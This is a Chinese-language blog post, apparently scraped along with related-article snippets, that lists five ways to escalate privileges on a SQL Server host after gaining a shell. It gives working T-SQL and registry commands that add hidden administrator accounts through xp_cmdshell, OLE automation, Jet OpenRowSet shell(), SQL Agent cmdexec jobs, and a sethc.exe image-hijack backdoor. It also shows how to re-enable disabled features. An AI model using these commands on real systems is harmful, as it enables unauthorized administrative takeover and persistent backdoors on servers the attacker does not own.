本文记录针对SQL Server数据库,在拿到shell之后进行提权的5种方法。

一、 xp_cmdshell提权

上面的数据库连接需要知道sa的密码,连接之后,在下面的sql命令处执行:

exec xp_cmdshell 'net user aaa aaa /add && net localgroup administrators aaa /add'

就能成功的创建一个账户aaa并且加到管理员组:

常见问题:

如果执行sql语句不成功,首先检查判断xp_cmdshell是否存在:

select count(*)from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell' ;

返回1是存在的,返回0则需要通过xplog70.dll恢复。

然后需要开启xp_cmdshell

EXEC sp_configure 'show advanced options', 1 ;

Reconfigure;

EXEC sp_configure 'xp_cmdshell', 1 ; --开启xp_cmdshell,如果关闭,需要将这里的1改为"0"

RECONFIGURE ; --以上命令开启用xp_cmdshell

这四条语句一起执行,然后语句中间没有空格,执行后可启用。

二、sp_oacreate和sp_oamethod提权

declare @cmd INT;

exec sp_oacreate 'wscript.shell',@cmd output;

exec sp_oamethod @cmd,'run',null,'net user hack hack /add','0','true';

exec sp_oacreate 'wscript.shell',@cmd output;

exec sp_oamethod @cmd,'run',null,'net localgroup administrators hack /add','0','true';

以上语句也是在sql一起执行,语句中间没有空格,但是执行可能会遇到问题:

我们需要开启存储过程:

exec sp_configure 'show advanced options', 1;

RECONFIGURE;

exec sp_configure 'Ole Automation Procedures',1;

RECONFIGURE;

以上语句也是在sql一起执行,语句中间没有空格,如果存储过程删除的话需要利用odsole70.dll恢复存储过程再执行。

这样我们执行上面的语句之后就会创建一个hack的账户,并加到管理员组:

三、沙盒提权

这种提权是利用access的沙盒机制,关闭沙盒之后执行代码。

首先用xp_regwrite这个存储这个存储过程对注册表进行写操作,关闭沙盒模式:

EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0

然后利用sql语句添加一个帐号和密码都为sql$的帐号,同时加入管理员组进行提权:

创建账户:Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user sql$ 123 /add")');

添加到管理员组:Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators sql$ /add")');

然后就创建了账户:

遇到的问题:

SQL2005默认是禁用Ad Hoc Distributed,执行命令时,会提示错误。需要开启

exec sp_configure 'show advanced options',1 ;

reconfigure ;

exec sp_configure 'Ad Hoc Distributed Queries',1 ;

reconfigure;

四、JOB提权

原理是创建一个任务x,并执行命令,命令执行后的结果,将返回给文档q.txt

首先需要启动sqlagent服务:

exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'

然后创建任务X,这里x为任务名称,并执行命令,命令执行后的结果,将返回给文本文档q.txt

use msdb

exec sp_delete_job null,'x'

exec sp_add_job 'x'

exec sp_add_jobstep null,'x',null,'1','cmdexec','cmd /c "net user hack1 hack1 /add &net localgroup administrators hack1 /add>c:/q.txt"'

exec sp_add_jobserver null,'x',@@servername

exec sp_start_job 'x';

然后就可以看到已经创建了一个hack1的账户并加到了管理员组:

五、利用映像劫持提权

利用regwrite函数修改注册表,起到劫持作用:

EXEC master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe'

然后检查是否劫持成功

exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger'

返回没有问题 利用远程连接然后5次shift键,发现没有启动粘滞键,而是启动了cmd,然后就可以创建用户了

通过Mssql提权的几种姿势的更多相关文章

  1. windows提权的几种姿势

    想象这种画面:你拿到了一台机器上Meterpreter会话了,然后你准备运行 getsystem 命令进行提权,但如果提权没有成功,你就准备认输了吗?只有懦夫才会认输.但是你不是,对吗?你是一个勇者! ...

  2. 通过Mysql提权的几种姿势

    本文记录利用mysql数据库,在拿到shell之后进行提权的两种方法. 一.UDF提权 原理:UDF是mysql的一个拓展接口,UDF(Userdefined function)让用户通过该接口可以自 ...

  3. mssql提权

    MSSQL的提权:下面是三种方法一种利用xp_cmshell组件,还有一种sp_OACreate组件,COM组件 xp_cmshell组件的开启: 1.sql2005版本以后默认为关闭状态,需要开启命 ...

  4. MSSQL提权之xp_cmdshell

    0x01 前提 getshell或者存在sql注入并且能够执行命令. sql server是system权限,sql server默认就是system权限. 0x02 xp_cmdshell 有了xp ...

  5. 【汇总】数据库提权(mysql、mssql)

    日期:2018-04-03 11:46:45 作者:Bay0net 介绍:利用 mssql 的 sa 账号提权.利用 MySQL 的 UDF 提权 0x01.mssql 提权 恢复 xp_cmdshe ...

  6. 35.windows提权总结

    本文参考自冷逸大佬的博客,源地址在这里:https://lengjibo.github.io/windows%E6%8F%90%E6%9D%83%E6%80%BB%E7%BB%93/ windows提 ...

  7. 暴破助攻提权:ruadmin

    i春秋作家:yangyangwithgnu 1 缘由 千辛万苦拿下的 webshell 不是 www-data 用户就是 networkservice 权限,要想拓展攻击面.扩大战果,提权,是必经之路 ...

  8. 第三方软件 Serv-u提权

    Serv-U FTP Server,是一种被广泛运用的FTP服务器端软件,支持3x/9x/ME/NT/2K等全Windows系列.可以设定多个FTP服务器.限定登录用户的权限.登录主目录及空间大小等  ...

  9. SQLServer的XP_CmdShell提权

    当我们拿到了某个网站SQLServer数据库的SA权限用户密码的话,我们就可以使用XP_CmdShell提权了. 开启xp_cmdshell exec sp_configure 'show advan ...

随机推荐

  1. 大数据-Hadoop安装

    进入到Hadoop安装包路径下 [atguigu@hadoop101 ~]$ cd /opt/software/ 解压安装文件到/opt/module下面 [atguigu@hadoop101 sof ...

  2. Parrot os 安装vmtools

    1.更新源(这步个人觉得官方源还可以,没网上说的那么慢) vim /etc/apt/sources.list.d/parrot.list linux命令 ,按i进入修改模式,修改结束,之后先按esc, ...

  3. Leetcode No.1 Two Sum(c++哈希表实现)

    1. 题目 1.1 英文题目 Given an array of integers nums and an integer target, return indices of the two numb ...

  4. RWLock——一种细粒度的Mutex互斥锁

    RWMutex -- 细粒度的读写锁 我们之前有讲过 Mutex 互斥锁.这是在任何时刻下只允许一个 goroutine 执行的串行化的锁.而现在这个 RWMutex 就是在 Mutex 的基础上进行 ...

  5. spring中如何向一个单例bean中注入非单例bean

    看到这个题目相信很多小伙伴都是懵懵的,平时我们的做法大都是下面的操作 @Component public class People{ @Autowired private Man man; } 这里如 ...

  6. etcd中watch源码解读

    etcd中watch的源码解析 前言 client端的代码 Watch newWatcherGrpcStream run newWatchClient serveSubstream server端的代 ...

  7. __schedule的一些小细节

    (代码主要参考5.10) 1. __schedule的参数preempt static void __sched notrace __schedule(bool preempt) preempt是一个 ...

  8. noip模拟23[联·赛·题]

    \(noip模拟23\;solutions\) 怎么说呢??这个考试考得是非常的惨烈,一共拿了70分,为啥呢 因为我第一题和第三题爆零了,然后第二题拿到了70分,还是贪心的分数 第一题和第二题我调了好 ...

  9. CentOS下 Django部署 nginx+uWSGI+Django(二)

    该篇内容承接CentOS下 Django部署 uWSGI+Django(一),细节流程可参考此篇内容. 1. 当前系统 CentOS Linux release 7.6.1810 Python 2.7 ...

  10. kubernetes 降本增效标准指南|ProphetPilot:容器智能成本管理引擎

    作者 田奇,腾讯云高级工程师,专注大规模离在线混部,弹性伸缩,云原生成本优化,熟悉Kubernetes,关注云原生大数据.AI. 王孝威,腾讯云容器产品经理,热衷于为客户提供高效的 Kubernete ...